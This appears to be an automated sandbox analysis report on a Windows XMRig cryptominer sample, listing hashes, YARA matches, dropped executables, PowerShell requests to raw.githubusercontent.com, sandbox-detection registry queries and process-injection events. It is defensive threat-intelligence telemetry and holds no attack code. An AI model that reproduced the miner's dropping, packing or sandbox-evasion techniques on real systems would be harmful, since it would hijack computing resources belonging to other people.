xmrig | e6062cb56ada327bbd6d725efb61ffd996b8feaa1b11352fa14c2481b891db8c

Analysis

max time kernel
150s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
04/05/2024, 23:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

14fae000e042720194413b5501891e6f_JaffaCakes118.exe
Size

2.3MB
MD5

14fae000e042720194413b5501891e6f
SHA1

c17b5c9b65fc213b26862fd1816a886a7625444e
SHA256

e6062cb56ada327bbd6d725efb61ffd996b8feaa1b11352fa14c2481b891db8c
SHA512

6d4b5781252e3247b51e86044aed9373d53473ad4fd0179cd78e3e6d5708ae620aa28ff68b0e66b43095ab9f4ad41808ef50f955f08b4666eed067a82d03ef3e
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1Vr5s1PTl//LZ:NABN

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 35 IoCs

miner

resource	yara_rule
behavioral2/memory/2588-28-0x00007FF6EB8F0000-0x00007FF6EBCE2000-memory.dmp	xmrig
behavioral2/memory/2496-71-0x00007FF7ADC80000-0x00007FF7AE072000-memory.dmp	xmrig
behavioral2/memory/2396-587-0x00007FF657490000-0x00007FF657882000-memory.dmp	xmrig
behavioral2/memory/1556-585-0x00007FF7FB1F0000-0x00007FF7FB5E2000-memory.dmp	xmrig
behavioral2/memory/1548-595-0x00007FF6CFD70000-0x00007FF6D0162000-memory.dmp	xmrig
behavioral2/memory/1524-633-0x00007FF77C300000-0x00007FF77C6F2000-memory.dmp	xmrig
behavioral2/memory/4024-613-0x00007FF692680000-0x00007FF692A72000-memory.dmp	xmrig
behavioral2/memory/64-628-0x00007FF740490000-0x00007FF740882000-memory.dmp	xmrig
behavioral2/memory/3924-659-0x00007FF6B52E0000-0x00007FF6B56D2000-memory.dmp	xmrig
behavioral2/memory/3880-693-0x00007FF7CDB60000-0x00007FF7CDF52000-memory.dmp	xmrig
behavioral2/memory/2548-679-0x00007FF6F1F80000-0x00007FF6F2372000-memory.dmp	xmrig
behavioral2/memory/4784-639-0x00007FF782C20000-0x00007FF783012000-memory.dmp	xmrig
behavioral2/memory/3796-93-0x00007FF6BB9D0000-0x00007FF6BBDC2000-memory.dmp	xmrig
behavioral2/memory/928-89-0x00007FF723C20000-0x00007FF724012000-memory.dmp	xmrig
behavioral2/memory/1188-83-0x00007FF795C40000-0x00007FF796032000-memory.dmp	xmrig
behavioral2/memory/2764-82-0x00007FF789280000-0x00007FF789672000-memory.dmp	xmrig
behavioral2/memory/3948-78-0x00007FF7BEB90000-0x00007FF7BEF82000-memory.dmp	xmrig
behavioral2/memory/4956-74-0x00007FF668520000-0x00007FF668912000-memory.dmp	xmrig
behavioral2/memory/4452-65-0x00007FF69A5E0000-0x00007FF69A9D2000-memory.dmp	xmrig
behavioral2/memory/4148-57-0x00007FF691280000-0x00007FF691672000-memory.dmp	xmrig
behavioral2/memory/1896-53-0x00007FF7F98C0000-0x00007FF7F9CB2000-memory.dmp	xmrig
behavioral2/memory/2916-33-0x00007FF7E3450000-0x00007FF7E3842000-memory.dmp	xmrig
behavioral2/memory/4620-2353-0x00007FF6B87E0000-0x00007FF6B8BD2000-memory.dmp	xmrig
behavioral2/memory/2888-3520-0x00007FF6ABEE0000-0x00007FF6AC2D2000-memory.dmp	xmrig
behavioral2/memory/952-3931-0x00007FF7FE600000-0x00007FF7FE9F2000-memory.dmp	xmrig
behavioral2/memory/1548-3949-0x00007FF6CFD70000-0x00007FF6D0162000-memory.dmp	xmrig
behavioral2/memory/2396-3945-0x00007FF657490000-0x00007FF657882000-memory.dmp	xmrig
behavioral2/memory/1556-3937-0x00007FF7FB1F0000-0x00007FF7FB5E2000-memory.dmp	xmrig
behavioral2/memory/3880-3977-0x00007FF7CDB60000-0x00007FF7CDF52000-memory.dmp	xmrig
behavioral2/memory/4024-3973-0x00007FF692680000-0x00007FF692A72000-memory.dmp	xmrig
behavioral2/memory/1524-3969-0x00007FF77C300000-0x00007FF77C6F2000-memory.dmp	xmrig
behavioral2/memory/64-3965-0x00007FF740490000-0x00007FF740882000-memory.dmp	xmrig
behavioral2/memory/2548-3961-0x00007FF6F1F80000-0x00007FF6F2372000-memory.dmp	xmrig
behavioral2/memory/3924-3957-0x00007FF6B52E0000-0x00007FF6B56D2000-memory.dmp	xmrig
behavioral2/memory/4784-3954-0x00007FF782C20000-0x00007FF783012000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	2716	powershell.exe
11	2716	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2716	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2588	SLmjsoM.exe
2916	ZhTAuGr.exe
1896	mkXhnZB.exe
4148	DmSoQbT.exe
4956	iQHuLSz.exe
4452	HrxMKyU.exe
2496	kIYQnVl.exe
3948	NZlKHJW.exe
2764	cxekULr.exe
1188	vjFlzep.exe
928	BOSLlQZ.exe
3796	jIJZyel.exe
2888	LmKyFkN.exe
952	DWZzZKI.exe
1556	liiWluX.exe
2396	cNqqOCn.exe
1548	KQJgSgq.exe
4024	QBzSErU.exe
64	hERzGWq.exe
1524	DIfgDeD.exe
4784	zubHdzS.exe
3924	BSauTJs.exe
2548	xCvTHro.exe
3880	xqBQQpR.exe
1560	qAGqwvW.exe
4504	viqrXds.exe
2868	adapgsI.exe
2564	jWWgHcv.exe
4300	PpmKnpb.exe
1476	jOdYwEE.exe
1108	tBXbQDX.exe
1916	VSQyDOD.exe
1280	BlWUAiT.exe
1824	JFvDpMd.exe
4964	XwCoWaK.exe
1636	BucadVa.exe
3556	EVKGRqI.exe
1920	EZbmqVE.exe
4476	IYzkQtO.exe
4332	EfBBzja.exe
1880	ZZkeJGF.exe
4472	sgLARZP.exe
2024	eViegZb.exe
4316	pRtHygb.exe
4296	UtDOYmP.exe
5016	kkeeIdE.exe
1572	xJuRhEp.exe
2520	abRnjtR.exe
4608	VwzscVL.exe
816	NUZlTWF.exe
4752	tMjrxUP.exe
2172	tYghXUW.exe
2600	fmdUhrX.exe
3372	dNRTtfb.exe
4484	XNLqYDW.exe
4420	VEElIIT.exe
1660	HwStXUS.exe
1372	qwnyVXV.exe
4664	dKdFXsw.exe
4708	ZcVXdEc.exe
4912	WeeXdss.exe
4272	ZnSFnrN.exe
1384	FLMcZIH.exe
4080	SvXsZhk.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4620-0-0x00007FF6B87E0000-0x00007FF6B8BD2000-memory.dmp	upx
behavioral2/files/0x000b000000023ba0-6.dat	upx
behavioral2/files/0x000a000000023ba5-8.dat	upx
behavioral2/files/0x000a000000023ba4-14.dat	upx
behavioral2/memory/2588-28-0x00007FF6EB8F0000-0x00007FF6EBCE2000-memory.dmp	upx
behavioral2/files/0x000a000000023ba6-29.dat	upx
behavioral2/files/0x000a000000023ba7-39.dat	upx
behavioral2/files/0x000a000000023baa-45.dat	upx
behavioral2/files/0x000b000000023ba9-51.dat	upx
behavioral2/files/0x000a000000023bab-52.dat	upx
behavioral2/memory/2496-71-0x00007FF7ADC80000-0x00007FF7AE072000-memory.dmp	upx
behavioral2/files/0x000a000000023bad-75.dat	upx
behavioral2/files/0x000b000000023ba1-79.dat	upx
behavioral2/files/0x000a000000023bae-86.dat	upx
behavioral2/memory/2888-96-0x00007FF6ABEE0000-0x00007FF6AC2D2000-memory.dmp	upx
behavioral2/memory/952-99-0x00007FF7FE600000-0x00007FF7FE9F2000-memory.dmp	upx
behavioral2/files/0x000a000000023bb1-107.dat	upx
behavioral2/files/0x0031000000023bb5-127.dat	upx
behavioral2/files/0x000a000000023bbc-166.dat	upx
behavioral2/files/0x000a000000023bc0-182.dat	upx
behavioral2/memory/2396-587-0x00007FF657490000-0x00007FF657882000-memory.dmp	upx
behavioral2/memory/1556-585-0x00007FF7FB1F0000-0x00007FF7FB5E2000-memory.dmp	upx
behavioral2/memory/1548-595-0x00007FF6CFD70000-0x00007FF6D0162000-memory.dmp	upx
behavioral2/memory/1524-633-0x00007FF77C300000-0x00007FF77C6F2000-memory.dmp	upx
behavioral2/memory/4024-613-0x00007FF692680000-0x00007FF692A72000-memory.dmp	upx
behavioral2/memory/64-628-0x00007FF740490000-0x00007FF740882000-memory.dmp	upx
behavioral2/memory/3924-659-0x00007FF6B52E0000-0x00007FF6B56D2000-memory.dmp	upx
behavioral2/memory/3880-693-0x00007FF7CDB60000-0x00007FF7CDF52000-memory.dmp	upx
behavioral2/memory/2548-679-0x00007FF6F1F80000-0x00007FF6F2372000-memory.dmp	upx
behavioral2/memory/4784-639-0x00007FF782C20000-0x00007FF783012000-memory.dmp	upx
behavioral2/files/0x000a000000023bc1-190.dat	upx
behavioral2/files/0x000a000000023bbf-180.dat	upx
behavioral2/files/0x000a000000023bbe-176.dat	upx
behavioral2/files/0x000a000000023bbd-170.dat	upx
behavioral2/files/0x000a000000023bbb-161.dat	upx
behavioral2/files/0x000a000000023bba-155.dat	upx
behavioral2/files/0x000a000000023bb9-151.dat	upx
behavioral2/files/0x000a000000023bb8-146.dat	upx
behavioral2/files/0x000a000000023bb7-141.dat	upx
behavioral2/files/0x0031000000023bb6-136.dat	upx
behavioral2/files/0x0031000000023bb4-125.dat	upx
behavioral2/files/0x000a000000023bb3-121.dat	upx
behavioral2/files/0x000a000000023bb2-115.dat	upx
behavioral2/files/0x000a000000023bb0-105.dat	upx
behavioral2/files/0x000a000000023baf-97.dat	upx
behavioral2/memory/3796-93-0x00007FF6BB9D0000-0x00007FF6BBDC2000-memory.dmp	upx
behavioral2/memory/928-89-0x00007FF723C20000-0x00007FF724012000-memory.dmp	upx
behavioral2/memory/1188-83-0x00007FF795C40000-0x00007FF796032000-memory.dmp	upx
behavioral2/memory/2764-82-0x00007FF789280000-0x00007FF789672000-memory.dmp	upx
behavioral2/memory/3948-78-0x00007FF7BEB90000-0x00007FF7BEF82000-memory.dmp	upx
behavioral2/memory/4956-74-0x00007FF668520000-0x00007FF668912000-memory.dmp	upx
behavioral2/files/0x000a000000023bac-69.dat	upx
behavioral2/files/0x000b000000023ba8-67.dat	upx
behavioral2/memory/4452-65-0x00007FF69A5E0000-0x00007FF69A9D2000-memory.dmp	upx
behavioral2/memory/4148-57-0x00007FF691280000-0x00007FF691672000-memory.dmp	upx
behavioral2/memory/1896-53-0x00007FF7F98C0000-0x00007FF7F9CB2000-memory.dmp	upx
behavioral2/memory/2916-33-0x00007FF7E3450000-0x00007FF7E3842000-memory.dmp	upx
behavioral2/memory/4620-2353-0x00007FF6B87E0000-0x00007FF6B8BD2000-memory.dmp	upx
behavioral2/memory/2888-3520-0x00007FF6ABEE0000-0x00007FF6AC2D2000-memory.dmp	upx
behavioral2/memory/952-3931-0x00007FF7FE600000-0x00007FF7FE9F2000-memory.dmp	upx
behavioral2/memory/1548-3949-0x00007FF6CFD70000-0x00007FF6D0162000-memory.dmp	upx
behavioral2/memory/2396-3945-0x00007FF657490000-0x00007FF657882000-memory.dmp	upx
behavioral2/memory/1556-3937-0x00007FF7FB1F0000-0x00007FF7FB5E2000-memory.dmp	upx
behavioral2/memory/3880-3977-0x00007FF7CDB60000-0x00007FF7CDF52000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	raw.githubusercontent.com
9	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\tdFyCjz.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\GcrKHyQ.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\mGeXcvJ.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\gisczUy.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\BaMWJUB.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\ACGmEVi.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\eKatAYi.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\yNYbbuk.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\SFmycPi.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\HhAAorh.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\asnokTD.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\jBhvRoY.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\jGKBqfa.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\AuZHrye.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\OFDCIyT.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\SfQpaff.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\MjMxqyG.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\TZAfMsM.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\WiPUOVW.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\lOhcoop.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\ficEihX.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\FYPBrgJ.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\JyltXBK.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\nfGQaFL.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\OMAHbNI.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\zSKUjuM.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\VCNClXZ.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\eRuPotf.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\Nxseaqc.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\LLDetec.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\JWyqqXg.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\ojQFRLi.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\sjOssBB.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\mQzzxsY.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\AHrmFmr.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\GnWjdQh.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\LwCjXKI.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\HaaUOem.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\ZeYAsAm.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\luYhtfi.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\TacwKpj.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\rMByoyO.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\vzdugfs.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\UByTisn.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\WcZkGES.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\czVQTyd.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\hWEbszz.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\KgYZnpK.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\gMCBtTw.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\rwBLHkV.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\SgNVlhN.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\NzOfxFu.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\neiCfEN.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\vkasNtY.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\YtIiDmw.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\DgdReLu.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\kmdAuhp.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\MGHssaF.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\xhgvppR.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\yeUWSKg.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\IWDmNIa.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\iLQudsf.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\gulPbIj.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
File created	C:\Windows\System\LUuBkMM.exe	14fae000e042720194413b5501891e6f_JaffaCakes118.exe

Checks SCSI registry key(s) 3 TTPs 12 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	dwm.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	dwm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dwm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	dwm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dwm.exe

Modifies data under HKEY_USERS 36 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates	dwm.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2716	powershell.exe
2716	powershell.exe
2716	powershell.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe
Token: SeDebugPrivilege	2716	powershell.exe
Token: SeCreateGlobalPrivilege	14952	dwm.exe
Token: SeChangeNotifyPrivilege	14952	dwm.exe
Token: 33	14952	dwm.exe
Token: SeIncBasePriorityPrivilege	14952	dwm.exe
Token: SeCreateGlobalPrivilege	15576	dwm.exe
Token: SeChangeNotifyPrivilege	15576	dwm.exe
Token: 33	15576	dwm.exe
Token: SeIncBasePriorityPrivilege	15576	dwm.exe
Token: SeCreateGlobalPrivilege	15856	dwm.exe
Token: SeChangeNotifyPrivilege	15856	dwm.exe
Token: 33	15856	dwm.exe
Token: SeIncBasePriorityPrivilege	15856	dwm.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4620 wrote to memory of 2716	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	85
PID 4620 wrote to memory of 2716	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	85
PID 4620 wrote to memory of 2588	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	86
PID 4620 wrote to memory of 2588	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	86
PID 4620 wrote to memory of 2916	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	87
PID 4620 wrote to memory of 2916	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	87
PID 4620 wrote to memory of 1896	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	88
PID 4620 wrote to memory of 1896	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	88
PID 4620 wrote to memory of 4148	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	89
PID 4620 wrote to memory of 4148	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	89
PID 4620 wrote to memory of 4956	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	90
PID 4620 wrote to memory of 4956	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	90
PID 4620 wrote to memory of 4452	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	91
PID 4620 wrote to memory of 4452	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	91
PID 4620 wrote to memory of 2496	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	92
PID 4620 wrote to memory of 2496	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	92
PID 4620 wrote to memory of 3948	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	93
PID 4620 wrote to memory of 3948	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	93
PID 4620 wrote to memory of 2764	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	94
PID 4620 wrote to memory of 2764	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	94
PID 4620 wrote to memory of 1188	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	95
PID 4620 wrote to memory of 1188	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	95
PID 4620 wrote to memory of 928	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	96
PID 4620 wrote to memory of 928	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	96
PID 4620 wrote to memory of 3796	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	97
PID 4620 wrote to memory of 3796	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	97
PID 4620 wrote to memory of 2888	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	98
PID 4620 wrote to memory of 2888	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	98
PID 4620 wrote to memory of 952	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	99
PID 4620 wrote to memory of 952	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	99
PID 4620 wrote to memory of 1556	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	100
PID 4620 wrote to memory of 1556	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	100
PID 4620 wrote to memory of 2396	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	101
PID 4620 wrote to memory of 2396	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	101
PID 4620 wrote to memory of 1548	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	102
PID 4620 wrote to memory of 1548	4620	14fae000e042720194413b5501891e6f_JaffaCakes118.exe	102
